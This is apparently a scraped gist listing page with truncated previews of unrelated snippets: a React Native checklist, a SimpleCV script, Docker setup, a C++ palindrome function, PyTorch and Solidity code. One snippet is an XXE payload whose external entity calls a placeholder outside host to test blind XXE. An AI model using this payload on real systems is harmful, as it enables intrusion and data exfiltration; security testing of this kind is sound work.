- Learn how to start a new react native project
- Run it on ios simulator, on android emulator, on a real iPhone device and on a real Android device, with and without debugging enabled.
- Learn how to upgrade a react native project
- Learn how to add a package to the project
- Learn how to add a package that has a native dependency (https://github.com/airbnb/react-native-maps, https://github.com/evollu/react-native-fcm) - DO NOT USE COCOAPODS
- Learn how to use fetch to get data from your backend
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import time | |
| from SimpleCV import Color, Image, np, Camera | |
| cam = Camera() #initialize the camera | |
| quality = 400 | |
| minMatch = 0.3 | |
| try: | |
| password = Image("password.jpg") |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # compiled from https://docs.docker.com/engine/installation/linux/debian/#/debian-jessie-80-64-bit | |
| sudo apt-get update | |
| sudo apt-get dist-upgrade -y | |
| sudo apt-get install apt-transport-https ca-certificates -y | |
| sudo sh -c "echo deb https://apt.dockerproject.org/repo debian-jessie main > /etc/apt/sources.list.d/docker.list" | |
| sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| using namespace std; | |
| int palindrome(string &str,int start,int end){ | |
| if(start >= end) | |
| return 1; | |
| if(str[start] != str[end]) | |
| return 0; | |
| return palindrome(str,++start,--end); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class Seq2SeqAttnRNN(nn.Module): | |
| def __init__(self, vecs_enc, itos_enc, em_sz_enc, vecs_dec, itos_dec, em_sz_dec, nh, out_sl, nl=2): | |
| super().__init__() | |
| self.emb_enc = create_emb(vecs_enc, itos_enc, em_sz_enc) | |
| self.nl,self.nh,self.out_sl = nl,nh,out_sl | |
| self.gru_enc = nn.GRU(em_sz_enc, nh, num_layers=nl, dropout=0.25) | |
| self.out_enc = nn.Linear(nh, em_sz_dec, bias=False) | |
| self.emb_dec = create_emb(vecs_dec, itos_dec, em_sz_dec) | |
| self.gru_dec = nn.GRU(em_sz_dec, em_sz_dec, num_layers=nl, dropout=0.1) | |
| self.emb_enc_drop = nn.Dropout(0.15) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.18; | |
| contract Coursetro{ | |
| string fName; | |
| uint age; | |
| function setInstructor(string _fName, uint _age) public { | |
| fName = _fName; | |
| age = _age; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.10; | |
| interface ERC20 { | |
| function balanceOf(address who) public view returns (uint256); | |
| function transfer(address to, uint256 value) public returns (bool); | |
| function allowance(address owner, address spender) public view returns (uint256); | |
| function transferFrom(address from, address to, uint256 value) public returns (bool); | |
| function approve(address spender, uint256 value) public returns (bool); | |
| event Transfer(address indexed from, address indexed to, uint256 value); | |
| event Approval(address indexed owner, address indexed spender, uint256 value); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.24; | |
| contract StandardToken { | |
| struct Task { | |
| string title; // weight is accumulated by delegation | |
| string description; // if true, that person already voted | |
| string expiryDate; | |
| uint timeLimit; | |
| uint totalLabeled; | |
| uint totalBacked; |
OlderNewer